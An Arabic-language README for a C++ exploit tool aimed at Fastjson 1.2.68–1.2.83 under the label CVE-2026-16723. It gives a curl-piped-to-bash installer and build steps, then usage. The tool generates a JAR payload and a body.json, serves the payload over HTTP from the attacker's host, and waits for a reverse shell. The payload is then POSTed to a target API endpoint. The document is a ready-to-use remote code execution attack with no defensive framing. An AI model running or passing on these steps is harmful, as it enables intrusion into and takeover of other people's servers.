
ثغرة أمنية حرجة تؤثر على إصدارات Fastjson من 1.2.68 إلى 1.2.83.
لينكس (أو WSL على ويندوز)
مترجم متوافق مع C++17 (GCC 7+ أو Clang 5+)
CMake 3.10 أو أحدث
حزم النظام:
libzip-devzlib1g-devsudo apt update
sudo apt install -y build-essential cmake libzip-dev zlib1g-dev
ثبّت كل شيء بأمر واحد:
curl -sSL https://raw.githubusercontent.com/yourusername/CVE-2026-16723/main/install.sh | bash
أو قم بتنزيل المثبّت وتنفيذه يدويًا:
wget https://raw.githubusercontent.com/yourusername/CVE-2026-16723/main/install.sh
chmod +x install.sh
./install.sh
سينفّذ سكربت التثبيت ما يلي:
تثبيت جميع حزم النظام المطلوبة.
تنزيل المكتبات المطلوبة ذات الرؤوس فقط (header-only):
nlohmann/jsoncpp-httplibبناء المشروع.
وضع الملف التنفيذي المُجمّع في الدليل الحالي باسم:
./exploit
إذا كنت قد استنسخت المستودع:
git clone https://github.com/yourusername/CVE-2026-16723.git
cd CVE-2026-16723
./install.sh
أو قم بالبناء يدويًا:
mkdir build
cd build
cmake ..
make -j$(nproc)
cp exploit ../
شغّل الملف التنفيذي:
./exploit --lhost <YOUR_IP> --lport <SHELL_PORT> [options]
./exploit --lhost 192.168.1.100 --lport 4444 --http-port 8000
بعد التنفيذ، سيتم إنشاء الملفات التالية:
x
body.json
سيبدأ خادم HTTP على المنفذ المكوّن (الافتراضي: 8000) وستنتظر الأداة اتصال قشرة عكسية (reverse shell) وارد.
أرسل ملف body.json المُولّد إلى نقطة النهاية المستهدفة:
curl -X POST http://<TARGET_IP>:8080/api/products/search \
-H "Content-Type: application/json" \
--data-binary @body.json
إذا كان التطبيق يتوقع حقلًا مختلفًا في JSON، فحدده باستخدام خيار --field.
| الملف | الوصف |
|---|---|
x | حمولة JAR مولّدة |
body.json | حمولة JSON لإرسالها إلى الهدف |
jar:http وjar:file.| الخيار | الوصف | الافتراضي |
|---|
--lhost | عنوان IP المحلي | مطلوب |
--lport | منفذ استماع القشرة العكسية | 4444 |
--http-port | منفذ خادم HTTP | 8000 |
--first | أول واصف ملف للمحاولة | 3 |
--last | آخر واصف ملف للمحاولة | 30 |
--field | اسم حقل JSON | facets |
--outdir | دليل الإخراج | . |
-h, --help | إظهار رسالة المساعدة | — |